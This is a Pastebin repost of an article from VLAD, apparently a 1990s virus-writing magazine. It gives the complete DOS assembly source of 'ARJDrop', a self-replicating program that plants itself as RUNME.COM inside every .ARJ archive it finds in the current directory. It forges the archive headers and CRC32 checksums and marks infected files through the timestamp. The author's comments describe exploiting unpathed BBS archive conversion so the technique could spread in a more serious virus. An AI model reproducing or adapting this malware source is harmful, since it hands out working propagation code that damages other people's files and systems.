Advertisement
FlyFar

VLAD Magazine - Issue AF - ARTICLE.4_1 - ARJDrop

Jul 1st, 2023
1,891
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 5.95 KB | Cybersecurity | 0 0
  1. ;       ARJDrop by Qark/VLAD
  2. ;
  3. ; When this virus is run it will search the current directory for any .ARJ
  4. ; archives.  If it finds one, it copies itself into the archive, naming
  5. ; itself a file called RUNME.COM.  It marks the archive as infected by
  6. ; setting the seconds field to 0.  The RUNME.COM does exactly the same
  7. ; thing etc.  So, it's like a companion archive infector.  No, that doesn't
  8. ; sound right, maybe, just a nuisance trojan ?  Anyway, it's too stupid
  9. ; to actually infect anywhere.
  10. ;
  11. ; This technique could be used very effectively in a serious virus that
  12. ; does COM/EXE as well.  A lot of BBS's have a flaw in their security where
  13. ; their archive conversion isn't pathed, so if you put PKZIP.COM in a .ARJ
  14. ; file it will be executed, and vice versa.  Using SCAN.COM and DOS utilities
  15. ; is a very effective use for this technique.
  16. ;
  17. ; If this was a resident virus on a BBS, every single archive anyone
  18. ; downloaded would have little RUNME.COMs inside.
  19. ;
  20.  
  21.         mov     ah,4eh
  22. nextarj:
  23.         mov     cx,3
  24.         mov     dx,offset wildarj
  25.         int     21h
  26.         jnc     openarc
  27.         int     20h
  28. openarc:
  29.  
  30.         mov     ax,3d02h
  31.         mov     dx,9eh
  32.         int     21h
  33.  
  34.         mov     bx,ax
  35.  
  36.         mov     ax,5700h
  37.         int     21h
  38.  
  39.         mov     word ptr time,cx
  40.         mov     word ptr date,dx
  41.  
  42.         and     cx,1fh
  43.         or      cx,cx
  44.         jnz     notinfected
  45.         mov     ah,3eh
  46.         int     21h
  47.         mov     ah,4fh
  48.         jmp     nextarj
  49.  
  50. notinfected:
  51.         call    infectarj
  52.  
  53.         mov     ax,5701h
  54.         mov     cx,word ptr time
  55.         and     cx,0ffe0h
  56.         mov     dx,word ptr date
  57.         int     21h
  58.  
  59.         mov     ah,3eh
  60.         int     21h
  61.  
  62.         int     20h
  63.  
  64. wildarj db      "*.ARJ",0
  65. time    dw      0
  66. date    dw      0
  67.  
  68. db      "ARJDrop by Qark/VLAD"
  69.  
  70. infectarj       proc    near
  71. ;on entry bx=file handle
  72.         push    ds
  73.         push    es
  74.  
  75.         push    cs
  76.         pop     ds
  77.         push    cs
  78.         pop     es
  79.  
  80.  
  81.         mov     ax,4202h
  82.         xor     cx,cx
  83.         cwd
  84.         int     21h
  85.  
  86.         sub     ax,4
  87.         sbb     dx,0
  88.         mov     cx,dx
  89.         mov     dx,ax
  90.         mov     ax,4200h
  91.         int     21h
  92.  
  93.         mov     word ptr csize,offset rend - 100h
  94.         mov     word ptr osize,offset rend - 100h
  95.        
  96.         mov     cx,offset rend - 100h
  97.         mov     si,100h                         ;start of program in memory
  98.         call    crc32
  99.  
  100.         cld
  101.         mov     si,offset marker
  102.         mov     di,offset sparebuff
  103.         mov     cx,offset rend - offset marker
  104.         rep     movsb
  105.  
  106.         mov     word ptr crc,ax
  107.         mov     word ptr crc+2,dx
  108.  
  109.         mov     cx,word ptr bhsize
  110.         mov     si,offset fhsize
  111.         call    crc32
  112.         mov     word ptr acrc,ax
  113.         mov     word ptr acrc+2,dx
  114.  
  115.         mov     ah,40h
  116.         mov     cx,offset fdata - offset marker
  117.         mov     dx,offset marker
  118.         int     21h
  119.  
  120.         mov     ah,40h
  121.         mov     cx,offset marker - 100h
  122.         mov     dx,100h
  123.         int     21h
  124.  
  125.         mov     ah,40h
  126.         mov     cx,offset rend - offset marker
  127.         mov     dx,offset sparebuff
  128.         int     21h
  129.  
  130.         mov     ah,40h
  131.         mov     cx,4
  132.         mov     dx,offset fdend
  133.         int     21h
  134.  
  135.         pop     es
  136.         pop     ds
  137.  
  138.         ret
  139.  
  140. infectarj       endp
  141.  
  142. crc32   proc    near
  143. ;on entry cx=number of bytes to checksum
  144. ;         si=pointer to bytes
  145. ;on exit dx:ax contains the checksum
  146. ;I stole this code from some PD sources I got off a BBS.
  147.  
  148.         push    bx
  149.         push    cx
  150.         push    si
  151.         push    di
  152.  
  153.         call    gentable
  154.  
  155.         mov     dx,-1
  156.         mov     ax,-1
  157.        
  158. crc32loop:
  159.         xor     bx,bx
  160.         mov     bl,byte ptr [si]
  161.         inc     si
  162.         xor     bl,al
  163.         shl     bx,1
  164.         shl     bx,1
  165.         mov     al,ah
  166.         mov     ah,dl
  167.         mov     dl,dh
  168.         xor     dh,dh
  169.         xor     ax,word ptr [bx+crc32tab]
  170.         xor     dx,word ptr [bx+crc32tab+2]
  171.  
  172.         dec     cx
  173.         jnz     crc32loop
  174.         pop     di
  175.         pop     si
  176.         pop     cx
  177.         pop     bx
  178.  
  179.         xor     dx,-1
  180.         xor     ax,-1
  181.  
  182.         ret
  183.  
  184. crc32   endp
  185.  
  186.  
  187. Gentable        proc    near
  188. ;Generates the 32bit crc table.  Thanks to "Necrosoft Enterprises" who had
  189. ;this code inside their Dementia Virus.  I have plenty of other code to do
  190. ;this, but it is all much, much bigger.
  191.  
  192.         push    ax
  193.         push    cx
  194.         push    dx
  195.         push    di
  196.  
  197.         mov     di,offset crc32tab
  198.         xor     cx,cx
  199.  
  200. outgen:
  201.         xor     dx,dx
  202.         xor     ax,ax
  203.         mov     al,cl
  204.         push    cx
  205.         mov     cx,8
  206. calcloop:
  207.         clc
  208.         rcr     dx,1
  209.         rcr     ax,1
  210.         jnc     nocrcxor
  211.         xor     dx,0edb8h
  212.         xor     ax,8320h
  213. nocrcxor:
  214.         loop    calcloop
  215.         mov     word ptr [di],ax
  216.         mov     word ptr [di+2],dx
  217.         add     di,4
  218.         pop     cx
  219.         inc     cx
  220.         cmp     cx,100h
  221.         jne     outgen
  222.         pop     di
  223.         pop     dx
  224.         pop     cx
  225.         pop     ax
  226.         ret
  227. Gentable        endp
  228.  
  229.  
  230. rbuff:
  231.  
  232. marker  db      60h,0eah
  233. bhsize  dw      offset acrc - offset fhsize
  234. fhsize  db      offset aname - offset fhsize
  235. anum    db      6
  236. anum2   db      1
  237. osver   db      0
  238. aflag   db      0
  239. ameth   db      0               ;stored
  240. aftype  db      0               ;binary
  241. ares    db      0
  242. dtm     dd      0
  243. csize   dd      4               ;compressed size
  244. osize   dd      4               ;original size
  245. crc     dd      0
  246. fspec   dw      0
  247. faccess dw      2
  248. hstdata dw      0
  249. aname   db      "RUNME.COM",0
  250. acomm   db      0
  251. acrc    dd      0
  252. ehsize  dw      0
  253.  
  254. fdata   db      "!"
  255. fdend:
  256. db      60h,0eah,0,0
  257.  
  258. rend:
  259.  
  260. crc32tab        db      100h*4 dup (0)
  261. sparebuff:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement